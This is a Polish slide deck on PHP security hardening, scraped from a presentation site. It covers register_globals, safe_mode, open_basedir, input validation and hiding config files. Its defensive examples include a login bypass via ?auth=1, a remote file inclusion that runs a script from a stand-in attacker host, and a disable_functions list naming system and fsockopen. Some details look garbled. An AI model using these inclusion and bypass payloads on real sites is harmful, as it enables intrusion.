Kamil Smitkiewicz Bezpieczeństwo w PHP.

Slides:



Advertisements
Podobne prezentacje
CLIMGEN (generator danych pogodowych w modelu CropSyst.
Advertisements

Programowanie obiektowe
SQL INJECTION Wykorzystanie błędów w językach skryptowych
Bezpieczeństwo aplikacji WWW
Zabezpieczenia w programie MS Access
Prezentacja o MS-DOS’ie
PROGRAMOWANIE STRUKTURALNE
WinSCP - Konfiguracja Przystosowanie WinSCP do specyfiki środowiska
Obsługa plików csv Do odczytu z pliku csv można użyć następującego kodu: $fp = fopen ("strony.csv","r"); $num = 0; while ($data = fgetcsv ($fp, 1000, ";"))
Obsługa bazy danych z poziomu phpMyAdmin
Damian Urbańczyk PHP Obsługa sesji.
Paweł Rajba Kurs WWW – wykład 10 Paweł Rajba
Proxy WWW cache Prowadzący: mgr Marek Kopel
IIS 6 i PHP na serwerze Windows 2003 EE
Zarządzanie stanem aplikacji Mechanizm Sesji
Każdy użytkownik sieci powinien zdawać sobie sprawę z odpowiedzialności jaką ponosi za dostęp do zasobów sieci. Używanie sieci jest przywilejem, a nie.
Modele baz danych - spojrzenie na poziom fizyczny
JOOMLA – nowoczesny system portalowy open source
Instalacja Apacha Instalacja serwera www ogranicza sie do uruchomienia pliku .exe oraz do wpisania adresu serwera, oraz a administratora czego.
Narzędzia internetowe Paweł Rajba ttp://pawel.ii.uni.wroc.pl/
Konfiguracja polcenie SUDO
Forum internetowe, przykład skryptu, Funkcjonalność.
Made by Mateusz Szirch Kilka słów o JavaScript.
Dropbox.
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
Konfiguracja kont w programie Adobe Dreamweaver
Adrian Bukowski Dolnośląskie Centrum Rozwoju Lokalnego.
Podstawy programowania. Język C i C++– podstawy Temat: 1
Podstawy programowania II
Linux - polecenia.
Generatory dokumentacji kodu źródłowego
ANNA BANIEWSKA SYLWIA FILUŚ
JAK ZROBIĆ STRONE WWW PIERWSZA STRONA W INTERNECIE
Lokalne serwery www Serwer WWW - ang. Web server jest to oprogramowanie zainstalowane na serwerze podłączonym do sieci Internet. Używające technologii.
Tworzenie strony internetowej krok po kroku.
„KSIB”: Raport z realizacji umowy
Prezentacja i szkolenie
Technologie internetowe II
Dziedziczenie Maciek Mięczakowski
MAKRA 1.
Narzędzia administracyjne
Robimy własne notatki - Notatnik
Tworzenie Aplikacji Internetowych
Teleinformatyka Wykład 7 Komunikacja klient-serwer – cd.
Sieć oparta o serwer Ubuntu 12.10
Linux w sieci Konfigurowanie interfejsu sieciowego.
Komendy SQL do pracy z tabelami i bazami
Etapy uruchamiania systemu Pliki konfiguracyjne
Temat 12: Formularze.
Instalacja Windows 7 z pendrive’a
Projektowanie stron WWW
Podstawy programowania
Toruń 28/ Wymagania, Co można zrobić z dodatkowymi modułami (rejestracja, logowanie), Własna baza użytkowników dla IdP, Wymiana metadanych.
XML Publisher Przedmiot i zakres szkolenia Przedmiot i zakres szkolenia Przeznaczenie XML Publisher Przeznaczenie XML Publisher Definiowanie Definiowanie.
Archiwizacja bazy danych
Smart Portal – podstawy użytkowania. W celu uruchomienia aplikacji Smart Portal, należy: -uruchomić nowe okno przeglądarki internetowej, -wpisać w pole.
Jak przeżyć w Internecie? Czyli o bezpieczeństwie słów kilka… Michał Jankowski MJ Software Solutions Services.
HTML (ang. HyperText Markup Language ) – język do tworzenia stron internetowych opierający się na znacznikach, czy inaczej je nazywając – tagach. Język.
Projekt z Technologii Internetowych
Treści multimedialne - kodowanie, przetwarzanie, prezentacjaOdtwarzanie treści multimedialnych Andrzej Majkowski informatyka +
REGUŁY ZABEZPIECZEŃ W APLIKACJI OeBS Przedmiot i zakres szkolenia Przedmiot i zakres szkolenia Przedmiot i zakres szkolenia Przedmiot i zakres szkolenia.
Podstawy języka skryptów
Temat 2: Składnia kaskadowych arkuszy stylów. Za zmianę wyglądu witryny w kaskadowych arkuszach stylów odpowiadają reguły stylów. Każda z reguł powiązana.
Polecenie chmod change mode - zmiana atrybutu. chmod [opcje] uprawnienia plik Opis klas użytkowników u - użytkownik (user) g - grupa (group) o - inni.
ASP.NET Dostęp do bazy danych z poziomu kodu Elżbieta Mrówka-Matejewska.
Zarządzanie stanem w aplikacjach ASP.NET Elżbieta Mrówka-Matejewska
Optymalizacja programów Open-Source
Piotr Kawałek , Mateusz Śliwowski
Platforma LearningApps
Zapis prezentacji:

Kamil Smitkiewicz Bezpieczeństwo w PHP

Opcja register_globals register_globals=Off php.ini (globalnie dla wszystkich plików) register_globals=Off httpd.conf (dla danej domeny) php_admin_value register_globals 0 .htacces (dla poszczególnych katalogów/podkatalogów) php_flag register_globals 0

Opcja register_globals Wyłączenie register_globals eliminuje wiele popularnych ataków na aplikacje napisane w PHP. Przykład wykorzystania słabości register_globals=On: <?php if ($password == ‘admin’) $auth=1; if ($auth==1) print ‘kod’; ?> Wystarczy teraz wywołać skrypt z parametrem $auth=1, żeby otrzymać ‘kod’, np: http://www.strona.com/strona.php?auth=1

Opcja register_globals Jeśli nie możemy ustawić opcji register_globals=Off, to powinniśmy zawsze definiować wartości dla zmiennych nie przekazywanych przez użytkownika, np: <?php $auth=0; if ($password == ‘admin’) $auth=1; if ($auth==1) print ‘kod’; ?>

Tryb safe_mode Korzystanie z safe_mode jest zalecane zawsze, jeśli jest to możliwe. Najważniejszą cechą tego trybu jest to że nie pozwala on na dostęp do plików, których właścicielem jest inny użytkownik, niż właściciel tego skryptu. Zabezpiecza to nas przed odczytem pliku /.../password z poziomu WWW naszego użytkownika.

Tryb safe_mode Poza tym safe_mode posiada wiele mechanizmów zwiększających bezpieczeństwo naszych skryptów, np.: ograniczenie dostępu do zmiennych środowiskowych, ograniczenie uruchomiania programów systemowych z poziomu aplikacji PHP itp.

Tryb safe_mode Przykładowe opcje trybu safe_mode: safe_mode = open_basedir = safe_mode_exec_dir = safe_mode_allowed_env_vars = safe_mode_protected_env_vars = disable_functions =

Tryb safe_mode Opcji safe_mode nie można ustawić na poziomie katalogów w pliku .htacces, można je ustawić w pliku php.ini, lub jeśli chcemy ograniczyć działanie do poszczególnych domen i katalogów, w httpd.conf.

safe_mode i open_basedir Oprócz opcji safe_mode bardzo przydatna jest opcja open_basedir. Pozwala ona na ograniczenie dostępu do plików do określonego katalogu, np. jeśli wstawimy: open_basedir=/home/strona.com to nie będziemy mogli odczytać plików leżących powyżej tego katalogu np.: open_basedir=/home/etc/password

safe_mode i open_basedir Jeśli w systemie mamy włączoną opcję open_basedir i safe_mode, to w pierwszej kolejności sprawdzane są zabezpieczenia open_basedir, a następnie safe_mode. Jeśli natomiast nie możemy stosować safe_mode i open_basedir razem, to w pierwszej kolejności powinniśmy ustawić safe_mode, w ostateczności używamy samego open_basedir.

Raportowanie błędów Przy pisaniu i testowaniu skryptów powinniśmy ustawić odpowiedni poziom raportowania błędów: <?php error_reporting (E_ALL); ?> Otrzymamy wiele przydatnych informacji o prawdopodobnych błędach w naszym skrypcie m.in: o niezdefiniowanych zmiennych itp. Zalecane jest wyłączenie tej opcji w wersjach stablinych skryptów, np. poprzez: error_reporting(1)

Poprawność danych Należy pamiętać aby sprawdzać poprawność wszystkich danych przekazywanych przez użytkownika. W szczególności wartości zmiennych określających nazwy plików wykorzystywanych w poleceniach typu include, require, fopen. Zagadnienie to ilustruje przykładowy skrypt.php:

Poprawność danych <?php $zmienna=$_GET['nazwa_skryptu']; include($zmienna); ?> Wykonanie powyższego skryptu spowoduje dołączenie i wykonanie innego skryptu. Jeżeli użytkownik wywoła skrypt z następującą wartością parametru nazwa_skryptu: www.strona.com/skrypt.php?nazwa_skryptu=www.wlamanie.com/wlamanie.php w rezultacie wykonany zostanie skrypt znajdujący się na obcym serwerze.

Pliki konfiguracyjne Ważne pliki konfiguracyjne, biblioteki itp. należy umieszczać poza głównym katalogiem strony. Przykładowo: dla domeny www.strona.com mamy /home/strona.com/public_html to nasze bibliteki i pliki konfiguracyjne powinniśmy umieścić poza tym katalogiem np. w: /home/strona.com/lib /home/strona.com/config a nie w: /home/strona.com/public_html/lib /home/strona.com/public_html/config

Pliki konfiguracyjne Bardzo często pliki konfiguracyjne mają rozszerzenie ‘.inc’. Wtedy jeśli nasz plik z konfiguracją znajduje się w podkatalogu to wystarczy wywołać adres: http://www.strona.com/config/config.inc aby otrzymać na stronie www pełne dane konfiguracyjne np. dane dostępu do danych: <?php $dbname=‘baza’; $dbuser=‘admin’; $dbpass=‘admin’; ?>

Zapamiętaj Należy przejrzyście budować aplikację, poprawnie formatować kod, dzielić projekt na małe moduły. Przy projektowaniu aplikacji powinniśmy przewidywać najgorsze sytuacje, np. nasza aplikacja powinna sobie radzić z niestandardowymi danymi; ze zmodyfikowaniem wywołania strony, w warunkach, kiedy jest wyłączona baza danych itp.

Dostęp do bazy danych Jeśli korzystamy z bazy danych, to nasza aplikacja musi mieć dostęp do danych dostępu do bazy. Przykładowe metody przekazania danych dostępu: w pliku konfiguracyjnym dane wprowadzane z formularza dane szyfrowane klucz zapisany w pliku konfiguracyjmym klucz zapisany w httpd.conf, powiązanie wartości klucza z lokalizacją skkryptu.

Dostęp do bazy danych Ważne !! Należy pamiętać, aby plik konfiguracyjny nie miał praw czytania dla innych osób niż administrator.

Dostęp do bazy danych Do przekazania klucza wykorzystaliśmy opcję ‘disable_functions’. W aplikacji odczytujemy klucz poprzez wywołanie: <?php $key=ini_get(‘‘disable_functions’’); $user=‘zakodowana_nazwa’; $pass=‘zakodowane_haslo’; $dbname=‘baza’; $user=dekoduj($user, $key); $pass=dekoduj($pass, $key); ?> Otrzymany klucz ma taką własność, że jest dostępny tylko w danej lokalizacji na dysku. Jeśli plik przeniesiemy do innego miejsca, to klucz nie będzie dostępny.

Dostęp do bazy danych Można też użyć uproszczonej wersji przekazania danych dostępu, wykorzystując dodatkowo opcję disable_class: Konfiguracja httpd.conf: php_admin_value disable_functions admin php_admin_value disable_class admin _________________________________________________ <?php $dbname=‘baza’; $dbuser=ini_get(‘‘disable_functions’’); $dbpass=ini_get(‘‘disable_class’’); ?>

Blokowanie niektórych funkcji W pliku php.ini istnieje dyrektywa pozwalająca na zablokowanie niektórych funkcji jak np. phpinfo(), system() czy fopen(). Funkcje, które chcemy zablokować należy oddzielić przecinkami po dyrektywie disable_functions np. disable_functions = phpinfo, system, fopen, fsockopen

Dziękuję za uwagę